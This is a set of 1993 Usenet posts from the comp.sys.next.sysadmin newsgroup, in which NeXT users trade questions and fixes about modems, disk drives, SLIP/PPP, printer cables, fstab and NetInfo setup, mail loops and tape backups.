From: clloyd@gleap (Charles C. Lloyd) Newsgroups: comp.sys.next.sysadmin Subject: Contents of LCK file? Message-ID: <1993Apr13.205117.3681@gleap.jpunix.com> Date: Tue, 13 Apr 1993 20:51:17 GMT Sender: clloyd@gleap.jpunix.com Organization: GiantLeap Software Does anybody know how to manually create a valid uucp/LCK/LCK..* file? Apparently, a valid LCK file has 4 bytes, but I cannot tell what these are. I want to be able to lock/unlock my modem manually. -- Charles Lloyd clloyd@GLeap.jpunix.com GiantLeap Software (713) 363-0887 (713) 363-0936 (fax)
From: yongwon@cs.pitt.edu (Yongwon Lee) Newsgroups: comp.sys.next.sysadmin Subject: Need info for upgrading 68030 cube Message-ID: <19577@pitt.UUCP> Date: 14 Apr 93 16:30:27 GMT Sender: news@cs.pitt.edu Organization: Univ. of Pittsburgh Computer Science We have a NeXT cube (60830-based) purchased about 5 years ago. Since no one was seriously using it, there has been no upgrade done. Now, we like to upgrade it, but we don't know what and how. Please give us info for upgrading (both software and hardware) the 60830-based cube. The cube is currently running system software 1.0 and has 8 MB main and 340 MB HD. Please send info directly to yongwon@cs.pitt.edu. Thank you. Y. Lee
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: PPP for NeXT Date: 14 Apr 1993 17:19:51 GMT Organization: Michigan State University Message-ID: <1qhh3n$lkm@msuinfo.cl.msu.edu> I'm looking for PPP for my NeXT, BUT(!) not for my next to connect to services, it is already ethernetted into the net. I want to be able to dial into my NeXT an establish a PPP connection with the dialing machine (mac and pc) allowing the caller to access PPP services. Actually I DON'T dial directly into the NeXT, I dial into the university and it connects into the NeXT, they offer PPP on the 2400 dial-ins, but not 9600+. (I'd be interested in SLIP if no PPP, but PPP is what I'm really looking for.) I've seen messages talk about PPP (& SLIP) but they generally look like they are connecting the NeXT to something else to give it (the NeXT) PPP services. Thanks! Gary -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) Subject: Will Quantum Drive Work? Message-ID: <1993Apr13.143900.27825@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Tue, 13 Apr 1993 14:39:00 GMT I've been looking for an external drive to upgrade disk space on one of our NeXTstations. I've located a Quatum 525 drive sold by LaCie in Oregon, under the product name Quantum Cirrus 525, for $1095, which seems like a very good price. My main question is: will it work with our NeXTstations. The drive is cased for a Macintosh, so it has DB/25 connectors. So, I'm wondering if all I need to make this work will be a custom cable (mini50(NeXT) to DB/25(Quantum525)). The only thing that Quantum Tech Support can tell me is that their drive works with a Sun Sparcstation. they cannot answer NeXT questions (no surprise, unfortunately). More questions: Will the Quantum need more than a custom cable? Will I have to change dip switches, etc, for anything other than scsi address resolution problems (if any). Will it be difficult to format, or will NeXT's Builddisk app "just work." Does BuildDisk require any special parameters that I need to find out about (so far, I know the numbero of cylinders, heads, sectors, and rpm). I don't see anything like this in the SCSIDisks.RFT documentation. Or, do you recommend another drive solution that is as cheap. Any information or pointers appreciated. Thanks for sharing any experiences, Phil -- G. Philippe Menos gpmenos@firestone.princeton.edu [NeXTmail OK.] Systems Administrator, Princeton University Libraries voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.sysadmin From: mddoyle@door.Princeton.EDU (Mark D. Doyle) Subject: Re: telnetd problem? Message-ID: <1993Apr13.175947.19011@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1qeq42$7g@uxa.ecn.bgu.edu> Date: Tue, 13 Apr 1993 17:59:47 GMT In article <1qeq42$7g@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes: >When I telnet into my NeXT, newlines get screwed up: [chomp] >Is there a fix for this problem? > >Best, >Pred Bundalo >Illinois Institute of Technology (pred@iitmax.acc.iit.edu) I pulled the solution to this problem off the net a long time ago. Its fix appears to be undocumented. The cure is to type stty -extproc at your shell prompt or insert it into the end of your .cshrc or .zshrc file. Works for me. I have no idea what it actually does or why it works. Mark mdd@zeke.rockefeller.edu
From: glenn@iridium.digex.net Newsgroups: comp.sys.next.sysadmin Subject: SLIP host configuration Date: 14 Apr 1993 19:38:26 GMT Organization: Express Access Online Communications, Greenbelt MD USA Distribution: world Message-ID: <1qhp7i$am1@news1.digex.net> Keywords: SLIP HostManager Hi all, I have just set up L. Mamakos's SLIP software on my NeXTstation and I was wondering what the optimal setup in hostmanager is for my local host? I am not connected to the ethernet interface and don't think that I ever will be. I still don't understand all of the vagaries of IP addressing. Also, how do I pass password and loginname strings to my login script so that I can have them stored in the file diald.conf, where I store the phone number and other setup info. Thanks in advance, Glenn PS - If any of you have a good tcl dialing script for the hsd faxmaster modem I would appreciate it! -- GLENN D. REMPE (NeXTMAIL) glenn@iridium.digex.net 900 North Stafford St., #2017 Arlington, VA 22203-1849 Voice: (703) 276-2350
Newsgroups: comp.sys.next.sysadmin From: vince@pons.umhc.umn.edu (Vince Netz) Subject: Re: compiling elm 2.4 under NS 3.0 Message-ID: <C5Hw9E.4tq@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <1993Apr14.090113.11157@cs.ruu.nl> Date: Wed, 14 Apr 1993 22:38:39 GMT In <1psq4a$80b@news.intercon.com> disc@vector.intercon.com (David Casti) writes: =I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies =consistently I might also suggest that instead of Elm, the "Pine" mailer is an alternative. All the big Unix mainframes here at the University of MN got rid of elm in favor of pine, and I've found it to be much more friendly for my vt100 dialup users. An already-compiled version of pine for the NeXT is available from ftp.cac.washington.edu, but source files are also distributed at many ftp sites and require some simple Makefile modification before they can be compiled. -- ____ Vince Netz vince@pons.umhc.umn.edu \ / Systems Manager Office: +1 612-626-3136 \/ Quality & Utilization Management FAX: +1 612-626-3524 University of Minnesota Hospital
From: root@sent5.uni-duisburg.de (Operator) Newsgroups: comp.sys.next.sysadmin Subject: 35 feet NeXT printer cable ??? Date: 15 Apr 1993 07:33:40 GMT Organization: Universitaet Duisburg GH Distribution: world Message-ID: <1qj34kINN4qg@unidui.uni-duisburg.de> Hi folks, We tried to connect our NeXT printer with a 35 feet long cable. Sometimes it works, sometimes not. What shall we do? Is it necessary to take a cable with shielding each wire? Must we develop an interface with buffers? Who has experience? Thanks Wolfgang Kruell
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ?? Date: 15 Apr 1993 08:20:01 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1qj5rh$o0o@agate.berkeley.edu> References: <1qj34kINN4qg@unidui.uni-duisburg.de> In article <1qj34kINN4qg@unidui.uni-duisburg.de> root@sent5.uni-duisburg.de (Operator) writes: Hi folks, >We tried to connect our NeXT printer with a 35 feet long cable. >Sometimes it works, sometimes not. What shall we do? Is it necessary to >take a cable with shielding each wire? Must we develop an interface with I recall about an old posting which said that the printer cable length has to be multiples of 80 feet or so. So make the cable longer! The reason was to delay the return signal by exactly one clock period and is related to the conduction velocity of the cable. So, you can probably derive it yourself give the clock freq. and velocity of signal on the cable you will be using. The person who successfull did this was using a coax cable for each signal. Of course, this is not something NeXT would support or confirm. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: floating file ownership Date: 15 Apr 1993 08:13:42 GMT Organization: University of California, Berkeley Distribution: na Message-ID: <1qj5fm$nvv@agate.berkeley.edu> References: <1993Apr15.054101.15349@cs.yale.edu> In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes: >Hi. I'm having a problem with an external drive. The drive won't retain >proper ownership information. I have updated fstab as per the documentation, >but there still seems to be a problem with this. The doc has a bug. Do not use "noauto" keyword for mounting non-root partitions. It should look like this. Note that there is no "noauto" for the second line: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /Users 4.3 rw,noquota 0 2 -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Will Quantum Drive Work? Message-ID: <1993Apr15.033016.3094@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Apr13.143900.27825@Princeton.EDU> Distribution: na Date: Thu, 15 Apr 1993 03:30:16 GMT In article <1993Apr13.143900.27825@Princeton.EDU> gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes: > I've been looking for an external drive to upgrade disk space on one > of our NeXTstations. I've located a Quatum 525 drive sold by LaCie in > Oregon, under the product name Quantum Cirrus 525, for $1095, which > seems like a very good price. > > My main question is: will it work with our NeXTstations. > > The drive is cased for a Macintosh, so it has DB/25 connectors. So, > I'm wondering if all I need to make this work will be a custom cable > (mini50(NeXT) to DB/25(Quantum525)). It should work. I've used that drive with NeXTSTEP. I would try to get it in a different enclosure (one with a 50pin connector), and that price is high. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: hwr@snert.ka.sub.org (Heiko W.Rupp) Subject: Re: Contents of LCK file? References: <1993Apr13.205117.3681@gleap.jpunix.com> Date: Thu, 15 Apr 1993 07:53:09 GMT Organization: The Home of the Pilhuhn Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn) Message-ID: <hwr.734860389@snert.ka.sub.org> clloyd@gleap (Charles C. Lloyd) writes: >Does anybody know how to manually create a valid uucp/LCK/LCK..* file? The LCK normally contains the PID of the process holding the lock. It should be a long. >want to be able to lock/unlock my modem manually. Use tip. Only writing a LCK file doesn't help, as other processes, who whish to access the port get the PID from the LCK and look if the corresponding Process still exists. If not, they release that Lock, build their own and go with it. -- Heiko W.Rupp Gerwigstr.5 7500 Kh'e 1 hwr@pilhuhn.ka.sub.org +49 721 693642 Hartley's First Law: You can lead a horse to water, but if you can get him to float on his back, you've got something.
Newsgroups: comp.sys.next.sysadmin From: amehta@yale.edu (Anand Mehta) Subject: floating file ownership Message-ID: <1993Apr15.054101.15349@cs.yale.edu> Summary: problems with floating ownership Keywords: disk owner Sender: news@cs.yale.edu (Usenet News) Organization: Yale Univ. Science & Engineering Computing Facility, New Haven, CT 06520 Distribution: na Date: Thu, 15 Apr 1993 05:41:01 GMT Hi. I'm having a problem with an external drive. The drive won't retain proper ownership information. I have updated fstab as per the documentation, but there still seems to be a problem with this. A related issue is that when I reboot my machine and log directly into my user account (anand) I get the File Viewer as it is in my root account, and the basic icon,preferences,edit,rest blank dock. I have to log out again and back in to get my dock and viewer back to normal. Perhaps these are related in some way. Any help would be appreciated. Thanks, -Anand Academic Computing Services Yale University mehta-anand@yale.edu
Newsgroups: comp.sys.next.sysadmin From: kgp2a@faraday.clas.Virginia.EDU (Kenneth G. Pote) Subject: Why is my ksh broken? Message-ID: <C5J5H8.2Fr@murdoch.acc.Virginia.EDU> Followup-To: pote@benjamin.tch.harvard.edu Sender: usenet@murdoch.acc.Virginia.EDU Organization: Department of Biology, Gilmer Hall, University of Virginia References: <1993Apr13.143900.27825@Princeton.EDU> Date: Thu, 15 Apr 1993 14:55:56 GMT I have a next slab that has a copy of ksh installed in /usr/local/bin/ksh, that until recenly would run by issuing /usr/local/bin/ksh from the .login file and following that with . .kshrc and . .profile. This still works from the csh command line, but does not work in the .login. I have set up the user accounts with the default shell as /usr/local/bin/ksh. In addition, the /private/etc/passwd has been editied to include the path /usr/local/bin/ksh. These do not fix a thing. Can anyone suggest a better way of setting this up. -Ken
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.sysadmin Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ?? Date: 15 Apr 1993 16:00:55 GMT Organization: University Computing Services - Oregon State University Distribution: world Message-ID: <1qk0rn$13n@gaia.ucs.orst.edu> References: <1qj5rh$o0o@agate.berkeley.edu> Keywords: printer cable In article <1qj5rh$o0o@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: > In article <1qj34kINN4qg@unidui.uni-duisburg.de> root@sent5.uni-duisburg.de (Operator) writes: > Hi folks, > >We tried to connect our NeXT printer with a 35 feet long cable. > >Sometimes it works, sometimes not. What shall we do? Is it necessary to > >take a cable with shielding each wire? Must we develop an interface with > > I recall about an old posting which said that the printer > cable length has to be multiples of 80 feet or so. So make the > cable longer! The reason was to delay the return signal by > exactly one clock period and is related to the conduction > velocity of the cable. So, you can probably derive it yourself > give the clock freq. and velocity of signal on the cable you > will be using. > > The person who successfull did this > was using a coax cable for each signal. > Of course, this is not something NeXT would support or confirm. > > -- > Izumi Ohzawa [ $@Bg_78^=;(J ] > USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 > Telephone: (510) 642-6440 Fax: (510) 642-3323 > Internet: izumi@pinoko.berkeley.edu (NeXTMail OK) Here is part of the original post that Izumi refers to: ------------ From: william hunt <willie@iuvax.cs.indiana.edu> Subject: Re: lengthening a NeXT printer cable I made a cable using seperate coaxs for each signal. It works fine, except that when the printer runs out of paper, putting in more paper does not get the printer printing again. Wagle found that he had to turn the printer off using the soft window, and then it starting printing again. As far as signal skew goes, there should be no problem with data going to the printer, since the CPU provides data and data clock. However, the return data may be suffering skew problems. One solution, is to adjust the length of the cable so the return data is skewed by exact one clock cycle. I will try this sometime and let you know how it works. Willie From: william hunt <willie@iuvax.cs.indiana.edu> Subject: Re: lengthening a NeXT printer cable I measured the delay with the oscilloscope and found that that I made the cable a poor length for skew. I added enough cable to the return data line so that the cable is now equal to 80 feet in length. This adjusted the skew for the return data one full clock cycle. Wagle and I tested to see if the running the printer out of paper still caused a problem. We found that the problem is fixed. So, the moral to this story is to make long cables multiples of 80 feet (for 81% c coax). The cable can be slightly longer that 80 feet but not by more than 15 feet. The cable can not be shorter that 80 feet. These cable length should work: 0 to 15 feet 80 to 95 160 to 175 240 to 255 Of course the lengths will have to be adjusted for the velocity factor if it is different than 81 percent. Mabey, Next can make a special cable and sell it! Willie ------------ -- Tim Pugh College of Oceanic and Atmospheric Sciences Oregon State University tpugh@oce.orst.edu NeXTmail ok!
Newsgroups: comp.sys.next.sysadmin From: lytras@avalon.physik.unizh.ch (Apostolos Lytras) Subject: How to register Hostname? Message-ID: <1993Apr15.181335.8954@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: Informatik Club d. Universitaet, Zuerich Date: Thu, 15 Apr 1993 18:13:35 GMT Hi Netters, I must have messed something up in my Netinfo Database... How do I register the hostname? NetInfo Manager says that it isn't registered. Do I have to create a new subdirectory in 'machines' or do I have to edit the 'localhost' subdirectory? Please answer via mail. Thanks in advance. - A. -- /* Apostolos Lytras Internet: lytras@avalon.physik.unizh.ch * * PSI: PSI%47931149412::JAB DECnet: EZINFO::JAB * * X.400: S=JAB;OU=ezinfo;OU=vmsmail;O=ethz;PRMD=SWITCH;ADMD=ARCOM;C=CH */
Newsgroups: comp.sys.next.sysadmin From: iarit@slate.mines.colorado.edu (ARIT ISMAIL) Subject: Strange remote printing problem!! Message-ID: <1993Apr15.171432.53075@slate.mines.colorado.edu> Date: Thu, 15 Apr 1993 17:14:32 GMT Organization: Colorado School of Mines Hi there, I am having some problems with remote printing. We setup a Next machite to do a remote printing by using a PS printer connected to a Sun. First time we setup the connection , everything was just fine, we were able to print PS file without a single problem. Lately, people who manage the sun system rebooted the machine for some reason, and now I can't print anything:-(. They told that they didn't change anything on the system, so there should be no problem. Here is the message I get when I check lpq. lias:-> lpq no entries lias: No space on remote; waiting for queue to drain Rank Owner Job Files Total Size 1st iarit 45 robotorganized.ps 33456 bytes lias:-> If I check the remote system lpq , I get % lpq no entries % There is more than enough space on remote system to print this 33K file, and since there is no printing queue to drain on remote system, why am I getting this error? How can I fix this problem, actually, what is the problem here? any help will be appreciated!! iarit@slate.mines.colorado.edu
From: jimc@tau-ceti.isc-br.com (Jim Cathey) Newsgroups: comp.sys.next.sysadmin Subject: Re: 35 feet NeXT printer cable ??? Make it 80' ?? Message-ID: <3360@tau-ceti.isc-br.com> Date: 15 Apr 93 20:54:36 GMT References: <1qj34kINN4qg@unidui.uni-duisburg.de> <1qj5rh$o0o@agate.berkeley.edu> Organization: Olivetti North America, Spokane, WA In article <1qj5rh$o0o@agate.berkeley.edu> izumi@pinoko.berkeley.edu writes: >The person who successfull did this >was using a coax cable for each signal. >Of course, this is not something NeXT would support or confirm. Or even _can_ support or confirm, anymore. -- +----------------+ ! II CCCCCC ! Jim Cathey ! II SSSSCC ! ISC-Bunker Ramo ! II CC ! TAF-C8; Spokane, WA 99220 ! IISSSS CC ! UUCP: uunet!isc-br!jimc (jimc@isc-br.isc-br.com) ! II CCCCCC ! (509) 927-5757 +----------------+ One Design to rule them all; one Design to find them. One Design to bring them all and in the darkness bind them. In the land of Mediocrity where the PC's lie.
From: root@iridium.digex.net (Glenn D. Rempe) Newsgroups: comp.sys.next.sysadmin Subject: Mailer question.... Bouncing mail Date: 15 Apr 1993 21:03:26 GMT Organization: Express Access Online Communications, Greenbelt MD USA Distribution: world Message-ID: <1qkiiu$oai@news1.digex.net> Hi all, I just got a message from the system administrator of my SLIP provider (Digex.net). It seems that there was a problem mailing something to my friend in Minneapolis and he wanted me to look into it. I must admit though that I do not have enough knowledge to diagnose the problem, much less come up with a solution. Can any of you take a look at the message and tell me what is wrong and what I can doo to prevent this from happening in the future? Many thanks in advance, Glenn Message follows: ------------------------------------------------------- From: ejk@nitrous.digex.net (Ed Kern) Subject: Your mailer is screwing up...look into it.. To: root@iridium.digex.net Date: Thu, 15 Apr 1993 14:26:54 -0400 (EDT) X-Mailer: ELM [version 2.4 PL13] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 7234 Ed Forwarded message: > From postman@access.digex.net Thu Apr 15 12:04:43 1993 > From: Postmaster <postman@access.digex.net> > Message-Id: <199304151603.AA10852@access.digex.com> > Subject: Returned mail: Service unavailable (fwd) > To: ejk@access.digex.net (ejk) > Date: Thu, 15 Apr 1993 12:03:53 -0400 (EDT) > X-Mailer: ELM [version 2.4 PL21] > Mime-Version: 1.0 > Content-Type: text/plain; charset=US-ASCII > Content-Transfer-Encoding: 7bit > Content-Length: 6523 > > Forwarded message: > >From MAILER-DAEMON Wed Apr 14 15:04:49 1993 > Date: Wed, 14 Apr 1993 15:03:54 -0400 > From: Mail Delivery Subsystem <MAILER-DAEMON> > Message-Id: <199304141903.AA00543@access.digex.com> > To: jcb@staff.tc.umn.edu > Cc: mbounces > Subject: Returned mail: Service unavailable > > ----- Transcript of session follows ----- > While talking to iridium.digex.com: > >>> DATA > <<< 554 sendall: too many hops 18 (17 max): from <jcb@staff.tc.umn.edu>, to jcb@staff.tc.umn.edu > 554 <glenn@iridium.digex.com>... Service unavailable > > ----- Unsent message follows ----- > Received: from private-domain.digex.com (pds1.digex.net) by access.digex.com with SMTP id AA00539 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:03:54 -0400 > Received: from iridium.digex.net by private-domain.digex.com with SMTP id AA02998 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:02:54 -0400 > Received: from access.digex.net by iridium.digex.net (NX5.67c/NX3.0S) > id AA00465; Wed, 14 Apr 93 15:02:37 -0400 > Received: from private-domain.digex.com (pds1.digex.net) by access.digex.com with SMTP id AA00337 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:02:29 -0400 > Received: from iridium.digex.net by private-domain.digex.com with SMTP id AA02994 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:01:29 -0400 > Received: from access.digex.net by iridium.digex.net (NX5.67c/NX3.0S) > id AA00461; Wed, 14 Apr 93 15:01:13 -0400 > Received: from private-domain.digex.com (pds1.digex.net) by access.digex.com with SMTP id AA00166 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:01:01 -0400 > Received: from iridium.digex.net by private-domain.digex.com with SMTP id AA02990 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 15:00:08 -0400 > Received: from access.digex.net by iridium.digex.net (NX5.67c/NX3.0S) > id AA00450; Wed, 14 Apr 93 14:59:37 -0400 > Received: from private-domain.digex.com (pds1.digex.net) by access.digex.com with SMTP id AA29847 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 14:59:32 -0400 > Received: from iridium.digex.net by private-domain.digex.com with SMTP id AA02986 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 14:58:43 -0400 > Received: from access.digex.net by iridium.digex.net (NX5.67c/NX3.0S) > id AA00446; Wed, 14 Apr 93 14:58:19 -0400 > Received: from private-domain.digex.com (pds1.digex.net) by access.digex.com with SMTP id AA29697 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 14:58:13 -0400 > Received: from iridium.digex.net by private-domain.digex.com with SMTP id AA02982 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 14:57:23 -0400 > Received: from access.digex.net by iridium.digex.net (NX5.67c/NX3.0S) > id AA00442; Wed, 14 Apr 93 14:57:11 -0400 > Received: from staff.tc.umn.edu by access.digex.com with SMTP id AA03805 > (5.65c/IDA-1.4.4 for <glenn@iridium.digex.com>); Wed, 14 Apr 1993 10:24:46 -0400 > Received: by staff.tc.umn.edu; Wed, 14 Apr 93 09:24:44 -0500 > Message-Id: <0012bcc1eac002543@staff.tc.umn.edu> > Date: Wed, 14 Apr 93 09:24:44 -0500 > From: jcb@staff.tc.umn.edu > To: glenn@iridium.digex.com > > New e-mail address, far out dude. > > How does one go about getting a SLIP account anyway? The "Big Cheese" has [Rest of message from my friend deleted...] -- GLENN D. REMPE (NeXTMAIL) root@iridium.digex.net (NeXTMAIL Welcome!) 900 North Stafford St., #2017 Arlington, VA 22203-1849 Voice: (703) 276-2350
From: kwei@titan.ucs.umass.edu (William Wei) Newsgroups: comp.sys.next.sysadmin Subject: how to install Sybase server? Date: 15 Apr 1993 17:50:00 -0400 Organization: University of Massachusetts, Amherst Distribution: usa Message-ID: <1qkla9INN7lu@titan.ucs.umass.edu> Is there a doc. or instruction somewhere? Thanks.
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) Newsgroups: comp.sys.next.sysadmin Subject: Re: floating file ownership Message-ID: <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU> Date: 15 Apr 93 19:21:07 GMT References: <1993Apr15.054101.15349@cs.yale.edu> <1qj5fm$nvv@agate.berkeley.edu> Distribution: na Organization: Computer Science Departement of California State University inFresno In-reply-to: izumi@pinoko.berkeley.edu's message of 15 Apr 1993 08:13:42 GMT In article <1qj5fm$nvv@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes: >Hi. I'm having a problem with an external drive. The drive won't retain >proper ownership information. I have updated fstab as per the documentation, >but there still seems to be a problem with this. The doc has a bug. Do not use "noauto" keyword for mounting non-root partitions. It should look like this. Note that there is no "noauto" for the second line: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /Users 4.3 rw,noquota 0 2 Looks like you also need "niload -v -d fstab . < /etc/fstab". Oleg
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: floating file ownership Date: 15 Apr 1993 23:47:05 GMT Organization: University of California, Berkeley Distribution: na Message-ID: <1qks5p$c1f@agate.berkeley.edu> References: <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU> In article <OLEG.93Apr15122107@gd.cs.CSUFresno.EDU> oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) writes: >In article <1qj5fm$nvv@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: > > In article <1993Apr15.054101.15349@cs.yale.edu> amehta@yale.edu (Anand Mehta) writes: > >Hi. I'm having a problem with an external drive. The drive won't retain > >proper ownership information. I have updated fstab as per the documentation, > >but there still seems to be a problem with this. > > The doc has a bug. Do not use "noauto" keyword for mounting > non-root partitions. > It should look like this. Note that there is no "noauto" for the > second line: > > /dev/sd0a / 4.3 rw,noquota,noauto 0 1 > /dev/sd1a /Users 4.3 rw,noquota 0 2 > >Looks like you also need "niload -v -d fstab . < /etc/fstab". No you don't. You shouldn't really put the thing into NetInfo. At the time /etc/fstab is read, NetInfo is not yet running. A rule of thumb is to put local HD mounts into /etc/fstab, and put NFS mounts into NetInfo's fstab section. Having duplicate in NetInfo will not cause errors, but it is redundant. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo) Newsgroups: comp.sys.next.sysadmin Subject: Backups: what's good? Date: 15 Apr 1993 21:25:05 -0500 Organization: Educational Computing Network Distribution: world Message-ID: <1ql5e1$nnf@uxa.ecn.bgu.edu> I now have access to an ARCHIVE Python 4 Gigabyte DAT drive for my backups. The problem is that I'm not sure which backup system is best for a beast with such storage capacity. For instance, I have two hard drives. One is a tiny 105MB Quantum internal, and the other is a 1.2GB external Seagate. If I use tar to back either of these up, I'm going to end up using a tape per drive per backup, which is an enormous waste of unused tape. It's equally bad if I use dump. Isn't there a backup system such as, say, VMS BACKUP, where backups are stored as multiple separate savesets on a single tape? I'd sure hate to have to waste a 4GB tape on a tiny 105MB hard drive . . . Multiple tar archives would be nice, for instance. Best regards, Pred Bundalo -- Predrag S. Bundalo Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: xremote for NeXT? Organization: Relayed-by-Sendmail Date: Fri, 16 Apr 1993 02:47:56 GMT Message-ID: <9304160247.AA17520@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) I was wondering if there is any xremote software for the NeXT. I have the X window server I got from an ftp site running. X windows is working fine exept I can't figure out how to display the Xapps from school onto my NeXT at home. I am running Xfe or Xmouse (whichever it is?) and am trying to use the xremote offered at our university. I was wondering if the software I need is out there somewhere. Tips on how to use it would be greatly appreciated too. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca University of Western Ontario NeXT Mail accepted >>> Developing in the NeXT generation <<< ****************************************************************************
From: steve@fisher.bio.uci.edu (Steve Frank) Subject: NeXT Printer Error: Could not open /dev/np0? Message-ID: <2BCE32CF.11038@news.service.uci.edu> Newsgroups: comp.sys.next.sysadmin Date: 16 Apr 93 04:15:11 GMT I have attached a NeXT Printer to a netboot client machine. The Local_Printer entry appears in the print panel and in the Netinfo database in the usual way. The printer responds to power on for the machine, and makes a restart noise when rebooting. When printing, the queue and the spool directory appear to behave in the normal way. But the printer never starts. The only clue I have is that /usr/etc/nppower off returns ?Could not open /dev/np0! Any suggestions? -- ---------------------------------------------------------- Steven Frank | Tel: 714-725-2244 Dept. of Ecology and | Fax: 714-725-2181 Evolutionary Biology | email: safrank@uci.edu Univ. of California | bitnt: safrank@uci.bitnet Irvine, CA 92717 |
Newsgroups: comp.sys.next.sysadmin From: johnfa@lachman.com (John Fanelli) Subject: Using NeXT 400 dpi printer and a mac Message-ID: <1993Apr15.125039.3851@i88.isc.com> Sender: usenet@i88.isc.com (Usenet News) Organization: INTERACTIVE Systems Corporation, Naperville, IL Date: Thu, 15 Apr 1993 12:50:39 GMT Hi, I have a question about printing. I looked in the printing FAQ, and couldn't find an answer. I have a NeXTstation Turbo and NeXT 400 DPI priner on my desk, but I also have an Apple Powerbook 145 that I use when I travel. Is there any way that I can make my Mac use the NeXT printer?? Over the net would be the preferable way, but I'm not quite sure that that is possible. I suppose this question really belongs in a Mac newsgroup, but I though that I'd ask anyway. thanks, john fanelli johnfa@i88.isc.com
Newsgroups: comp.sys.next.sysadmin From: wagner!beckers (Becki Kain) Subject: netinfo for suns Message-ID: <1993Apr16.122601.950@imagine.com> Sender: beckers@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Fri, 16 Apr 1993 12:26:01 GMT I've heard that you can buy netinfo for sparc stations. does anyone know from whom? also, does it come for any other platforms? thank you beckers -- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com "oh boy oh boy oh boy" bauhaus nextmail welcome
